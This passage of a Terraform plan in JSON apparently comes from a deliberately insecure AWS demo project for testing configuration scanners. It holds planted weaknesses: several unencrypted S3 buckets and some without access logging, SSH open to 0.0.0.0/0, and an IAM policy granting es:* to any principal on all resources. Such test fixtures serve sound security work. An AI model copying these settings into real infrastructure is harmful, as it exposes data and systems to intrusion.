  \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data_science\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data_science\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-data-science\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_prefix\": \"log/\"\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_bucket\": true\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.financials\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"financials\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-financials\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-financials\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.flowbucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"flowbucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-flowlogs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.logs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"logs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"log-delivery-write\",\n          \"bucket\": \"123456789123-acme-corp-logs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"sse_algorithm\": \"aws:kms\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-logs\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"kms_master_key_id\": true\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.operations\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"operations\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-operations\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-operations\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_object.data_object\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_object\",\n      \"name\": \"data_object\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"cache_control\": null,\n          \"content\": null,\n          \"content_base64\": null,\n          \"content_disposition\": null,\n          \"content_encoding\": null,\n          \"content_language\": null,\n          \"force_destroy\": false,\n          \"key\": \"customer-master.xlsx\",\n          \"metadata\": null,\n          \"object_lock_legal_hold_status\": null,\n          \"object_lock_mode\": null,\n          \"object_lock_retain_until_date\": null,\n          \"source\": \"resources/customer-master.xlsx\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-customer-master\"\n          },\n          \"website_redirect\": null\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"content_type\": true,\n          \"etag\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"server_side_encryption\": true,\n          \"storage_class\": true,\n          \"tags\": {},\n          \"version_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"name\": \"123456789123-acme-corp-rds-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds-sg\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.web-node\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"web-node\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp Security Group\",\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 0\n            }\n          ],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 22,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 22\n            },\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 80,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 80\n            }\n          ],\n          \"name\": \"123456789123-acme-corp-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            },\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"owner_id\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.egress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"egress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"0.0.0.0/0\"\n          ],\n          \"description\": null,\n          \"from_port\": 0,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"-1\",\n          \"self\": false,\n          \"to_port\": 0,\n          \"type\": \"egress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.ingress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"ingress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"172.16.0.0/16\"\n          ],\n          \"description\": null,\n          \"from_port\": 3306,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"tcp\",\n          \"self\": false,\n          \"to_port\": 3306,\n          \"type\": \"ingress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet1\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"10.10.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"10.10.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"172.16.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"172.16.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet2\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_volume_attachment.ebs_att\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_volume_attachment\",\n      \"name\": \"ebs_att\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"device_name\": \"/dev/sdh\",\n          \"force_detach\": null,\n          \"skip_destroy\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"instance_id\": true,\n          \"volume_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.eks_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"eks_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"10.10.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.web_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"web_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"172.16.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"null_resource.push_image\",\n      \"mode\": \"managed\",\n      \"type\": \"null_resource\",\n      \"name\": \"push_image\",\n      \"provider_name\": \"null\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"triggers\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"output_changes\": {\n    \"db_app_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"db_endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"ec2_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"kubeconfig-certificate-authority-data\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet2\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"secret\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"username\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after\": \"123456789123-acme-corp-user\",\n      \"after_unknown\": false\n    },\n    \"vpc_id\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    }\n  },\n  \"prior_state\": {\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.23\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_ami.amazon-linux-2\",\n            \"mode\": \"data\",\n            \"type\": \"aws_ami\",\n            \"name\": \"amazon-linux-2\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"architecture\": \"x86_64\",\n              \"arn\": \"arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856\",\n              \"block_device_mappings\": [\n                {\n                  \"device_name\": \"/dev/xvda\",\n                  \"ebs\": {\n                    \"delete_on_termination\": \"true\",\n                    \"encrypted\": \"false\",\n                    \"iops\": \"0\",\n                    \"snapshot_id\": \"snap-06c1606ba5ca274b1\",\n                    \"volume_size\": \"8\",\n                    \"volume_type\": \"standard\"\n                  },\n                  \"no_device\": \"\",\n                  \"virtual_name\": \"\"\n                }\n              ],\n              \"creation_date\": \"2020-09-22T02:09:24.000Z\",\n              \"description\": \"Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs\",\n              \"executable_users\": null,\n              \"filter\": [\n                {\n                  \"name\": \"name\",\n                  \"values\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                },\n                {\n                  \"name\": \"owner-alias\",\n                  \"values\": [\n                    \"amazon\"\n                  ]\n                }\n              ],\n              \"hypervisor\": \"xen\",\n              \"id\": \"ami-0f0a6d00932023856\",\n              \"image_id\": \"ami-0f0a6d00932023856\",\n              \"image_location\": \"amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"image_owner_alias\": \"amazon\",\n              \"image_type\": \"machine\",\n              \"kernel_id\": null,\n              \"most_recent\": true,\n              \"name\": \"amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"name_regex\": null,\n              \"owner_id\": \"137112412989\",\n              \"owners\": [\n                \"amazon\"\n              ],\n              \"platform\": null,\n              \"product_codes\": [],\n              \"public\": true,\n              \"ramdisk_id\": null,\n              \"root_device_name\": \"/dev/xvda\",\n              \"root_device_type\": \"ebs\",\n              \"root_snapshot_id\": \"snap-06c1606ba5ca274b1\",\n              \"sriov_net_support\": \"simple\",\n              \"state\": \"available\",\n              \"state_reason\": {\n                \"code\": \"UNSET\",\n                \"message\": \"UNSET\"\n              },\n              \"tags\": {},\n              \"virtualization_type\": \"hvm\"\n            }\n          },\n          {\n            \"address\": \"data.aws_caller_identity.current\",\n            \"mode\": \"data\",\n            \"type\": \"aws_caller_identity\",\n            \"name\": \"current\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"account_id\": \"123456789123\",\n              \"arn\": \"arn:aws:iam::123456789123:user/barak@bridgecrew.io\",\n              \"id\": \"123456789123\",\n              \"user_id\": \"AIDA2MPWNTLGWKZRRDYTT\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"iam_policy_eks\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"189502314\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"sts:AssumeRole\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"eks.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"policy\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3931805674\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"es:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"*\"\n                      ],\n                      \"type\": \"AWS\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"acme3\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"outputs\": {\n        \"db_app_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.db_app\"\n            ]\n          },\n          \"description\": \"DB Public DNS name\"\n        },\n        \"db_endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_db_instance.default\"\n            ]\n          },\n          \"description\": \"DB Endpoint\"\n        },\n        \"ec2_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.web_host\"\n            ]\n          },\n          \"description\": \"Web Host Public DNS name\"\n        },\n        \"endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"kubeconfig-certificate-authority-data\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"public_subnet\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"public_subnet2\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet2\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"secret\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_access_key.user\"\n            ]\n          }\n        },\n        \"username\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_user.user\"\n            ]\n          }\n        },\n        \"vpc_id\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_vpc.web_vpc\"\n            ]\n          },\n          \"description\": \"The ID of the VPC\"\n        }\n      },\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": 